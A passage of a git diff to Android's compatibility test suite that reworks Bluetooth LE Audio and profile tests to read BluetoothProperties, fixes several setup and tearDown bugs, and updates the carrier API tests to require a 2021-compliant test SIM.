             assertTrue("Config must be true when profile is supported",
                     isBroadcastAssistantEnabledInConfig);
         }
 
         mIsBroadcastSourceSupported =
                 mAdapter.isLeAudioBroadcastSourceSupported() == FEATURE_SUPPORTED;
-        if (!mIsBroadcastSourceSupported) {
+        if (mIsBroadcastSourceSupported) {
             boolean isBroadcastSourceEnabledInConfig =
-                    TestUtils.getProfileConfigValueOrDie(
-                            BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+                    TestUtils.isProfileEnabled(
+                            BluetoothProfile.LE_AUDIO_BROADCAST);
             assertTrue("Config must be true when profile is supported",
                     isBroadcastSourceEnabledInConfig);
         }
@@ -89,7 +90,9 @@
     @After
     public void tearDown() {
         if (mHasBluetooth) {
-            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            if (mAdapter != null) {
+                assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            }
             mAdapter = null;
             TestUtils.dropPermissionAsShellUid();
         }
@@ -100,15 +103,21 @@
         if (shouldSkipTest()) {
             return;
         }
+        BluetoothLeAudioCodecConfigMetadata codecMetadata =
+                new BluetoothLeAudioCodecConfigMetadata.Builder()
+                        .setAudioLocation(TEST_AUDIO_LOCATION_FRONT_LEFT).build();
         BluetoothLeBroadcastChannel channel =
                 new BluetoothLeBroadcastChannel.Builder()
                         .setSelected(true)
                         .setChannelIndex(TEST_CHANNEL_INDEX)
-                        .setCodecMetadata(null)
+                        .setCodecMetadata(codecMetadata)
                         .build();
         assertTrue(channel.isSelected());
         assertEquals(TEST_CHANNEL_INDEX, channel.getChannelIndex());
-        assertNull(channel.getCodecMetadata());
+        assertEquals(codecMetadata, channel.getCodecMetadata());
+        assertEquals(TEST_AUDIO_LOCATION_FRONT_LEFT, channel.getCodecMetadata().getAudioLocation());
+        assertNotNull(channel.getCodecMetadata());
+        assertEquals(codecMetadata, channel.getCodecMetadata());
     }
 
     @Test
@@ -116,17 +125,24 @@
         if (shouldSkipTest()) {
             return;
         }
+        BluetoothLeAudioCodecConfigMetadata codecMetadata =
+                new BluetoothLeAudioCodecConfigMetadata.Builder()
+                        .setAudioLocation(TEST_AUDIO_LOCATION_FRONT_LEFT).build();
         BluetoothLeBroadcastChannel channel =
                 new BluetoothLeBroadcastChannel.Builder()
                         .setSelected(true)
                         .setChannelIndex(TEST_CHANNEL_INDEX)
-                        .setCodecMetadata(null)
+                        .setCodecMetadata(codecMetadata)
                         .build();
         BluetoothLeBroadcastChannel channelCopy =
                 new BluetoothLeBroadcastChannel.Builder(channel).build();
         assertTrue(channelCopy.isSelected());
         assertEquals(TEST_CHANNEL_INDEX, channelCopy.getChannelIndex());
-        assertNull(channelCopy.getCodecMetadata());
+        assertEquals(codecMetadata, channelCopy.getCodecMetadata());
+        assertEquals(TEST_AUDIO_LOCATION_FRONT_LEFT,
+                channelCopy.getCodecMetadata().getAudioLocation());
+        assertNotNull(channelCopy.getCodecMetadata());
+        assertEquals(channel.getCodecMetadata(), channelCopy.getCodecMetadata());
     }
 
     private boolean shouldSkipTest() {
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastMetadataTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastMetadataTest.java
index ad96fe0..7ff121a 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastMetadataTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastMetadataTest.java
@@ -58,7 +58,11 @@
     private static final int TEST_PRESENTATION_DELAY_MS = 345;
 
     private static final int TEST_CODEC_ID = 42;
-    private static final BluetoothLeBroadcastChannel[] TEST_CHANNELS = {};
+    private static final BluetoothLeBroadcastChannel[] TEST_CHANNELS = {
+        new BluetoothLeBroadcastChannel.Builder().setChannelIndex(42).setSelected(true)
+                .setCodecMetadata(new BluetoothLeAudioCodecConfigMetadata.Builder().build())
+                .build()
+    };
 
     // For BluetoothLeAudioCodecConfigMetadata
     private static final long TEST_AUDIO_LOCATION_FRONT_LEFT = 0x01;
@@ -92,18 +96,16 @@
                 mAdapter.isLeAudioBroadcastAssistantSupported() == FEATURE_SUPPORTED;
         if (mIsBroadcastAssistantSupported) {
             boolean isBroadcastAssistantEnabledInConfig =
-                    TestUtils.getProfileConfigValueOrDie(
-                            BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
             assertTrue("Config must be true when profile is supported",
                     isBroadcastAssistantEnabledInConfig);
         }
 
         mIsBroadcastSourceSupported =
                 mAdapter.isLeAudioBroadcastSourceSupported() == FEATURE_SUPPORTED;
-        if (!mIsBroadcastSourceSupported) {
+        if (mIsBroadcastSourceSupported) {
             boolean isBroadcastSourceEnabledInConfig =
-                    TestUtils.getProfileConfigValueOrDie(
-                            BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST);
             assertTrue("Config must be true when profile is supported",
                     isBroadcastSourceEnabledInConfig);
         }
@@ -112,7 +114,9 @@
     @After
     public void tearDown() {
         if (mHasBluetooth) {
-            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            if (mAdapter != null) {
+                assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            }
             mAdapter = null;
             TestUtils.dropPermissionAsShellUid();
         }
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastReceiveStateTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastReceiveStateTest.java
index cc28740..8f9b0f7 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastReceiveStateTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastReceiveStateTest.java
@@ -87,18 +87,16 @@
                 mAdapter.isLeAudioBroadcastAssistantSupported() == FEATURE_SUPPORTED;
         if (mIsBroadcastAssistantSupported) {
             boolean isBroadcastAssistantEnabledInConfig =
-                    TestUtils.getProfileConfigValueOrDie(
-                            BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
             assertTrue("Config must be true when profile is supported",
                     isBroadcastAssistantEnabledInConfig);
         }
 
         mIsBroadcastSourceSupported =
                 mAdapter.isLeAudioBroadcastSourceSupported() == FEATURE_SUPPORTED;
-        if (!mIsBroadcastSourceSupported) {
+        if (mIsBroadcastSourceSupported) {
             boolean isBroadcastSourceEnabledInConfig =
-                    TestUtils.getProfileConfigValueOrDie(
-                            BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST);
             assertTrue("Config must be true when profile is supported",
                     isBroadcastSourceEnabledInConfig);
         }
@@ -107,7 +105,9 @@
     @After
     public void tearDown() {
         if (mHasBluetooth) {
-            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            if (mAdapter != null) {
+                assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            }
             mAdapter = null;
             TestUtils.dropPermissionAsShellUid();
         }
@@ -175,6 +175,7 @@
         out.writeInt(numSubgroups);
         out.writeList(bisSyncState);
         out.writeTypedList(subgroupMetadata);
+        out.setDataPosition(0); // reset position of parcel before passing to constructor
         return BluetoothLeBroadcastReceiveState.CREATOR.createFromParcel(out);
     }
 }
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastSubgroupTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastSubgroupTest.java
index 910e55d..7279ef6 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastSubgroupTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastSubgroupTest.java
@@ -21,7 +21,6 @@
 
 import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertThrows;
 import static org.junit.Assert.assertTrue;
 
@@ -49,7 +48,11 @@
 @SmallTest
 public class BluetoothLeBroadcastSubgroupTest {
     private static final int TEST_CODEC_ID = 42;
-    private static final BluetoothLeBroadcastChannel[] TEST_CHANNELS = {};
+    private static final BluetoothLeBroadcastChannel[] TEST_CHANNELS = {
+            new BluetoothLeBroadcastChannel.Builder().setChannelIndex(42).setSelected(true)
+                    .setCodecMetadata(new BluetoothLeAudioCodecConfigMetadata.Builder().build())
+                    .build()
+    };
 
     // For BluetoothLeAudioCodecConfigMetadata
     private static final long TEST_AUDIO_LOCATION_FRONT_LEFT = 0x01;
@@ -83,18 +86,16 @@
                 mAdapter.isLeAudioBroadcastAssistantSupported() == FEATURE_SUPPORTED;
         if (mIsBroadcastAssistantSupported) {
             boolean isBroadcastAssistantEnabledInConfig =
-                    TestUtils.getProfileConfigValueOrDie(
-                            BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
             assertTrue("Config must be true when profile is supported",
                     isBroadcastAssistantEnabledInConfig);
         }
 
         mIsBroadcastSourceSupported =
                 mAdapter.isLeAudioBroadcastSourceSupported() == FEATURE_SUPPORTED;
-        if (!mIsBroadcastSourceSupported) {
+        if (mIsBroadcastSourceSupported) {
             boolean isBroadcastSourceEnabledInConfig =
-                    TestUtils.getProfileConfigValueOrDie(
-                            BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST);
             assertTrue("Config must be true when profile is supported",
                     isBroadcastSourceEnabledInConfig);
         }
@@ -103,7 +104,9 @@
     @After
     public void tearDown() {
         if (mHasBluetooth) {
-            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            if (mAdapter != null) {
+                assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            }
             mAdapter = null;
             TestUtils.dropPermissionAsShellUid();
         }
@@ -131,7 +134,7 @@
         assertEquals(TEST_CODEC_ID, subgroup.getCodecId());
         assertEquals(codecMetadata, subgroup.getCodecSpecificConfig());
         assertEquals(contentMetadata, subgroup.getContentMetadata());
-        assertFalse(subgroup.hasChannelPreference());
+        assertTrue(subgroup.hasChannelPreference());
         assertArrayEquals(TEST_CHANNELS,
                 subgroup.getChannels().toArray(new BluetoothLeBroadcastChannel[0]));
         builder.clearChannel();
@@ -163,7 +166,7 @@
         assertEquals(TEST_CODEC_ID, subgroupCopy.getCodecId());
         assertEquals(codecMetadata, subgroupCopy.getCodecSpecificConfig());
         assertEquals(contentMetadata, subgroupCopy.getContentMetadata());
-        assertFalse(subgroupCopy.hasChannelPreference());
+        assertTrue(subgroupCopy.hasChannelPreference());
         assertArrayEquals(TEST_CHANNELS,
                 subgroupCopy.getChannels().toArray(new BluetoothLeBroadcastChannel[0]));
         builder.clearChannel();
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastTest.java
index ad43793..e70d6ba 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastTest.java
@@ -176,7 +176,7 @@
                 mAdapter.isLeAudioBroadcastSourceSupported() == FEATURE_SUPPORTED;
         if (mIsLeBroadcastSupported) {
             boolean isBroadcastSourceEnabledInConfig =
-                    TestUtils.getProfileConfigValueOrDie(BluetoothProfile.LE_AUDIO_BROADCAST);
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST);
             assertTrue("Config must be true when profile is supported",
                     isBroadcastSourceEnabledInConfig);
         }
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothSapTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothSapTest.java
index 29d9bd5..1f220cd 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothSapTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothSapTest.java
@@ -27,7 +27,6 @@
 import android.bluetooth.BluetoothProfile;
 import android.bluetooth.BluetoothSap;
 import android.content.pm.PackageManager;
-import android.sysprop.BluetoothProperties;
 import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.MediumTest;
 import android.util.Log;
@@ -62,7 +61,7 @@
 
         if (!mHasBluetooth) return;
 
-        mIsSapSupported = BluetoothProperties.isProfileSapServerEnabled().orElse(false);
+        mIsSapSupported = TestUtils.isProfileEnabled(BluetoothProfile.SAP);
         if (!mIsSapSupported) return;
 
         mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
@@ -90,7 +89,9 @@
                 mIsProfileReady = false;
             }
             mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
-            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            if (mAdapter != null) {
+                assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            }
             mUiAutomation.dropShellPermissionIdentity();
             mAdapter = null;
         }
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothVolumeControlTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothVolumeControlTest.java
index b6d20ec..34a4c66 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothVolumeControlTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothVolumeControlTest.java
@@ -21,20 +21,17 @@
 
 import static org.junit.Assert.assertThrows;
 
-import android.app.UiAutomation;
 import android.bluetooth.BluetoothAdapter;
 import android.bluetooth.BluetoothDevice;
-import android.bluetooth.BluetoothVolumeControl;
 import android.bluetooth.BluetoothManager;
 import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothStatusCodes;
+import android.bluetooth.BluetoothVolumeControl;
 import android.content.pm.PackageManager;
-import android.content.res.Resources;
 import android.os.Build;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
-import androidx.test.InstrumentationRegistry;
-
 import com.android.compatibility.common.util.ApiLevelUtil;
 
 import java.util.List;
@@ -92,10 +89,11 @@
             mBluetoothVolumeControl = null;
 
             boolean isLeAudioSupportedInConfig =
-                     TestUtils.getProfileConfigValueOrDie(BluetoothProfile.LE_AUDIO);
+                     TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO);
             boolean isVolumeControlEnabledInConfig =
-                     TestUtils.getProfileConfigValueOrDie(BluetoothProfile.VOLUME_CONTROL);
+                     TestUtils.isProfileEnabled(BluetoothProfile.VOLUME_CONTROL);
             if (isLeAudioSupportedInConfig) {
+                assertEquals(BluetoothStatusCodes.FEATURE_SUPPORTED, mAdapter.isLeAudioSupported());
                 /* If Le Audio is supported then Volume Control shall be supported */
                 assertTrue("Config must be true when profile is supported",
                         isVolumeControlEnabledInConfig);
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/HearingAidProfileTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/HearingAidProfileTest.java
index 570633e..45cf44c 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/HearingAidProfileTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/HearingAidProfileTest.java
@@ -83,6 +83,9 @@
         if (!isBleSupported()) return;
         mIsBleSupported = true;
 
+        mIsHearingAidSupported = TestUtils.isProfileEnabled(BluetoothProfile.HEARING_AID);
+        if (!mIsHearingAidSupported) return;
+
         mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
         mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
 
@@ -95,17 +98,18 @@
         mConditionProfileIsConnected  = mProfileConnectedlock.newCondition();
         mIsProfileReady = false;
         mService = null;
-        mIsHearingAidSupported = mBluetoothAdapter.getProfileProxy(getContext(),
-                                                  new HearingAidsServiceListener(),
-                                                  BluetoothProfile.HEARING_AID);
-        if (!mIsHearingAidSupported) return;
+        mBluetoothAdapter.getProfileProxy(getContext(), new HearingAidsServiceListener(),
+                BluetoothProfile.HEARING_AID);
     }
 
     @Override
     public void tearDown() {
-        if (!mIsBleSupported) return;
-
-        assertTrue(BTAdapterUtils.disableAdapter(mBluetoothAdapter, mContext));
+        if (!(mIsBleSupported && mIsHearingAidSupported)) {
+            return;
+        }
+        if (mBluetoothAdapter != null) {
+            assertTrue(BTAdapterUtils.disableAdapter(mBluetoothAdapter, mContext));
+        }
         mUiAutomation.dropShellPermissionIdentity();
     }
 
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/LeL2capSocketTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/LeL2capSocketTest.java
index d152d84..62d1c6a 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/LeL2capSocketTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/LeL2capSocketTest.java
@@ -51,7 +51,9 @@
         if (!TestUtils.isBleSupported(getContext())) {
             return;
         }
-        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        if (mAdapter != null) {
+            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        }
         mAdapter = null;
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
             .dropShellPermissionIdentity();
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/TestUtils.java b/tests/tests/bluetooth/src/android/bluetooth/cts/TestUtils.java
index a0ed839..f3527fa 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/TestUtils.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/TestUtils.java
@@ -16,9 +16,7 @@
 
 package android.bluetooth.cts;
 
-import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.fail;
 
 import android.annotation.NonNull;
 import android.annotation.Nullable;
@@ -28,8 +26,8 @@
 import android.bluetooth.le.ScanRecord;
 import android.content.Context;
 import android.content.pm.PackageManager;
-import android.content.res.Resources;
 import android.provider.Settings;
+import android.sysprop.BluetoothProperties;
 import android.util.Log;
 
 import androidx.test.platform.app.InstrumentationRegistry;
@@ -50,93 +48,6 @@
     static final String BLUETOOTH_PACKAGE_NAME = "com.android.bluetooth";
 
     /**
-     * Get the Config.xml name tag for a particular Bluetooth profile
-     * @param profile profile id from {@link BluetoothProfile}
-     * @return config name tag, or null if the tag name is not available
-     */
-    @Nullable static String profileIdToConfigTag(int profile) {
-        switch (profile) {
-            case BluetoothProfile.A2DP:
-                return "profile_supported_a2dp";
-            case BluetoothProfile.A2DP_SINK:
-                return "profile_supported_a2dp_sink";
-            case BluetoothProfile.HEADSET:
-                return "profile_supported_hs_hfp";
-            case BluetoothProfile.HEADSET_CLIENT:
-                return "profile_supported_hfpclient";
-            case BluetoothProfile.HID_HOST:
-                return "profile_supported_hid_host";
-            case BluetoothProfile.OPP:
-                return "profile_supported_opp";
-            case BluetoothProfile.PAN:
-                return "profile_supported_pan";
-            case BluetoothProfile.PBAP:
-                return "profile_supported_pbap";
-            case BluetoothProfile.GATT:
-                return "profile_supported_gatt";
-            case BluetoothProfile.MAP:
-                return "profile_supported_map";
-            // Hidden profile
-            // case BluetoothProfile.AVRCP:
-            //    return "profile_supported_avrcp_target";
-            case BluetoothProfile.AVRCP_CONTROLLER:
-                return "profile_supported_avrcp_controller";
-            case BluetoothProfile.SAP:
-                return "profile_supported_sap";
-            case BluetoothProfile.PBAP_CLIENT:
-                return "profile_supported_pbapclient";
-            case BluetoothProfile.MAP_CLIENT:
-                return "profile_supported_mapmce";
-            case BluetoothProfile.HID_DEVICE:
-                return "profile_supported_hid_device";
-            case BluetoothProfile.LE_AUDIO:
-                return "profile_supported_le_audio";
-            case BluetoothProfile.LE_AUDIO_BROADCAST:
-                return "profile_supported_le_audio_broadcast";
-            case BluetoothProfile.VOLUME_CONTROL:
-                return "profile_supported_vc";
-            // Hidden profile
-            // case BluetoothProfile.MCP_SERVER:
-            //    return "profile_supported_mcp_server";
-            case BluetoothProfile.CSIP_SET_COORDINATOR:
-                return "profile_supported_csip_set_coordinator";
-            // Hidden profile
-            // case BluetoothProfile.LE_CALL_CONTROL:
-            //    return "profile_supported_le_call_control";
-            case BluetoothProfile.HAP_CLIENT:
-                return "profile_supported_hap_client";
-            case BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT:
-                return "profile_supported_bass_client";
-            default:
-                return null;
-        }
-    }
-
-    /**
-     * Checks if a particular Bluetooth profile is configured for this device
-     * Fail the test if profile config status cannot be obtained
-     */
-    static boolean getProfileConfigValueOrDie(int profile) {
-        String profileConfigValueTag = profileIdToConfigTag(profile);
-        assertNotNull(profileConfigValueTag);
-        assertNotEquals("profile tag cannot be empty", 0, profileConfigValueTag.length());
-        Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        Resources bluetoothResources = null;
-        try {
-            bluetoothResources = context.getPackageManager().getResourcesForApplication(
-                    BLUETOOTH_PACKAGE_NAME);
-        } catch (PackageManager.NameNotFoundException e) {
-            fail("Cannot get Bluetooth package resource");
-        }
-        int resourceId = bluetoothResources.getIdentifier(
-                profileConfigValueTag, "bool", BLUETOOTH_PACKAGE_NAME);
-        if (resourceId == 0) {
-            return false;
-        }
-        return bluetoothResources.getBoolean(resourceId);
-    }
-
-    /**
      * Checks whether this device has Bluetooth feature
      * @return true if this device has Bluetooth feature
      */
@@ -147,6 +58,70 @@
     }
 
     /**
+     * Get the current enabled status of a given profile
+     */
+    static boolean isProfileEnabled(int profile) {
+        switch (profile) {
+            case BluetoothProfile.A2DP:
+                return BluetoothProperties.isProfileA2dpSourceEnabled().orElse(false);
+            case BluetoothProfile.A2DP_SINK:
+                return BluetoothProperties.isProfileA2dpSinkEnabled().orElse(false);
+            // Hidden profile
+            // case BluetoothProfile.AVRCP:
+            //     return BluetoothProperties.isProfileAvrcpTargetEnabled().orElse(false);
+            case BluetoothProfile.AVRCP_CONTROLLER:
+                return BluetoothProperties.isProfileAvrcpControllerEnabled().orElse(false);
+            case BluetoothProfile.CSIP_SET_COORDINATOR:
+                return BluetoothProperties.isProfileCsipSetCoordinatorEnabled().orElse(false);
+            case BluetoothProfile.GATT:
+                return BluetoothProperties.isProfileGattEnabled().orElse(true);
+            case BluetoothProfile.HAP_CLIENT:
+                return BluetoothProperties.isProfileHapClientEnabled().orElse(false);
+            case BluetoothProfile.HEADSET:
+                return BluetoothProperties.isProfileHfpAgEnabled().orElse(false);
+            case BluetoothProfile.HEADSET_CLIENT:
+                return BluetoothProperties.isProfileHfpHfEnabled().orElse(false);
+            case BluetoothProfile.HEARING_AID:
+                return BluetoothProperties.isProfileAshaCentralEnabled().orElse(false);
+            case BluetoothProfile.HID_DEVICE:
+                return BluetoothProperties.isProfileHidDeviceEnabled().orElse(false);
+            case BluetoothProfile.HID_HOST:
+                return BluetoothProperties.isProfileHidHostEnabled().orElse(false);
+            case BluetoothProfile.LE_AUDIO:
+                return BluetoothProperties.isProfileBapUnicastClientEnabled().orElse(false);
+            case BluetoothProfile.LE_AUDIO_BROADCAST:
+                return BluetoothProperties.isProfileBapBroadcastSourceEnabled().orElse(false);
+            case BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT:
+                return BluetoothProperties.isProfileBapBroadcastAssistEnabled().orElse(false);
+            // Hidden profile
+            // case BluetoothProfile.LE_CALL_CONTROL:
+            //     return BluetoothProperties.isProfileCcpServerEnabled().orElse(false);
+            case BluetoothProfile.MAP:
+                return BluetoothProperties.isProfileMapServerEnabled().orElse(false);
+            case BluetoothProfile.MAP_CLIENT:
+                return BluetoothProperties.isProfileMapClientEnabled().orElse(false);
+            // Hidden profile
+            // case BluetoothProfile.MCP_SERVER:
+            //     return BluetoothProperties.isProfileMcpServerEnabled().orElse(false);
+            case BluetoothProfile.OPP:
+                return BluetoothProperties.isProfileOppEnabled().orElse(false);
+            case BluetoothProfile.PAN:
+                return BluetoothProperties.isProfilePanNapEnabled().orElse(false)
+                        || BluetoothProperties.isProfilePanPanuEnabled().orElse(false);
+            case BluetoothProfile.PBAP:
+                return BluetoothProperties.isProfilePbapServerEnabled().orElse(false);
+            case BluetoothProfile.PBAP_CLIENT:
+                return BluetoothProperties.isProfilePbapClientEnabled().orElse(false);
+            case BluetoothProfile.SAP:
+                return BluetoothProperties.isProfileSapServerEnabled().orElse(false);
+            case BluetoothProfile.VOLUME_CONTROL:
+                return BluetoothProperties.isProfileVcpControllerEnabled().orElse(false);
+            default:
+                return false;
+        }
+    }
+
+    /**
      * Adopt shell UID's permission via {@link android.app.UiAutomation}
      * @param permission permission to adopt
      */
@@ -258,4 +233,4 @@
             Log.e(TestUtils.class.getSimpleName(), "interrupted", e);
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/car/OWNERS b/tests/tests/car/OWNERS
index cdff026..bda2116 100644
--- a/tests/tests/car/OWNERS
+++ b/tests/tests/car/OWNERS
@@ -1,6 +1,2 @@
 # Bug component: 526266
-felipeal@google.com
-gurunagarajan@google.com
-keunyoung@google.com
-nicksauer@google.com
-sgurun@google.com
+include platform/packages/services/Car:/OWNERS
diff --git a/tests/tests/carrierapi/Android.bp b/tests/tests/carrierapi/Android.bp
index 32b10e5..2c2e66f 100644
--- a/tests/tests/carrierapi/Android.bp
+++ b/tests/tests/carrierapi/Android.bp
@@ -37,9 +37,12 @@
         "android.test.base",
         "android.test.runner",
     ],
-    // This  APK must be signed to match the test SIM's cert whitelist.
-    // While "testkey" is the default, there are different per-device testkeys, so
-    // hard-code the AOSP default key to ensure it is used regardless of build
+    host_required: [
+        "CtsCarrierApiTargetPrep",
+        "cts-tradefed",
+    ],
+    // This APK must be signed to match the test SIM's carrier privilege rules.
+    // Hard-code the CTS SIM's test key to ensure it is used regardless of build
     // environment.
-    certificate: ":aosp-testkey",
+    certificate: ":cts-uicc-2021-testkey",
 }
diff --git a/tests/tests/carrierapi/AndroidTest.xml b/tests/tests/carrierapi/AndroidTest.xml
index 591e80d..60e0638 100644
--- a/tests/tests/carrierapi/AndroidTest.xml
+++ b/tests/tests/carrierapi/AndroidTest.xml
@@ -26,6 +26,11 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsCarrierApiTestCases.apk" />
     </target_preparer>
+    <target_preparer class="android.carrierapi.cts.targetprep.CarrierApiPreparer">
+        <!-- Custom setup to ensure the CTS SIM matches expected content -->
+        <option name="apk" value="CtsCarrierApiTargetPrepApp.apk" />
+        <option name="package" value="android.carrierapi.cts.targetprep" />
+    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.carrierapi.cts" />
     </test>
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/BaseCarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/BaseCarrierApiTest.java
index b0b6504..ee1d702 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/BaseCarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/BaseCarrierApiTest.java
@@ -16,6 +16,8 @@
 
 package android.carrierapi.cts;
 
+import static com.android.compatibility.common.util.UiccUtil.UiccCertificate.CTS_UICC_LEGACY;
+
 import static com.google.common.truth.Truth.assertWithMessage;
 
 import static org.junit.Assume.assumeTrue;
@@ -26,6 +28,7 @@
 import androidx.test.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.FeatureUtil;
+import com.android.compatibility.common.util.UiccUtil;
 
 import org.junit.Before;
 
@@ -45,6 +48,18 @@
     protected static final String NO_CARRIER_PRIVILEGES_FAILURE_MESSAGE =
             "This test requires a SIM card with carrier privilege rules on it.\n"
                     + "Visit https://source.android.com/devices/tech/config/uicc.html";
+    // More specific message when the test suite detects an outdated legacy SIM.
+    private static final String DEPRECATED_TEST_SIM_FAILURE_MESSAGE =
+            "This test requires a 2021-compliant SIM card with carrier privilege rules on it.\n"
+                + "The current SIM card appears to be outdated and is not compliant with the 2021"
+                + " CTS SIM specification published with Android 12 (\"S\").\n"
+                + "As of Android 13 (\"T\"), you must use a 2021-compliant SIM card to pass this"
+                + " suite. The 2021-compliant SIM is backward compatible with the legacy"
+                + " specification, so it may also be used to run this suite on older Android"
+                + " releases.\n"
+                + "2021-compliant SIMs received directly from Google have \"2021 CTS\" printed on"
+                + " them.\n"
+                + "Visit https://source.android.com/devices/tech/config/uicc#prepare_uicc";
 
     protected Context getContext() {
         return InstrumentationRegistry.getInstrumentation().getTargetContext();
@@ -74,8 +89,15 @@
                         + getClass().getSimpleName()
                         + " cases will be skipped",
                 FeatureUtil.hasTelephony());
-        // We must run with carrier privileges.
-        assertWithMessage(NO_CARRIER_PRIVILEGES_FAILURE_MESSAGE)
+        // We must run with carrier privileges. As of 2022, all devices must run CTS with a SIM
+        // compliant with the 2021 spec, which has a new certificate. To make results very clear, we
+        // still explicitly check for the legacy certificate, and if we don't have carrier
+        // privileges but detect the legacy cert, we tell the tester they must upgrade to pass this
+        // test suite.
+        assertWithMessage(
+                        UiccUtil.uiccHasCertificate(CTS_UICC_LEGACY)
+                                ? DEPRECATED_TEST_SIM_FAILURE_MESSAGE
+                                : NO_CARRIER_PRIVILEGES_FAILURE_MESSAGE)
                 .that(getContext().getSystemService(TelephonyManager.class).hasCarrierPrivileges())
                 .isTrue();
         mPreconditionsSatisfied = true;
diff --git a/hostsidetests/tzdata/Android.bp b/tests/tests/carrierapi/targetprep/device/Android.bp
similarity index 69%
copy from hostsidetests/tzdata/Android.bp
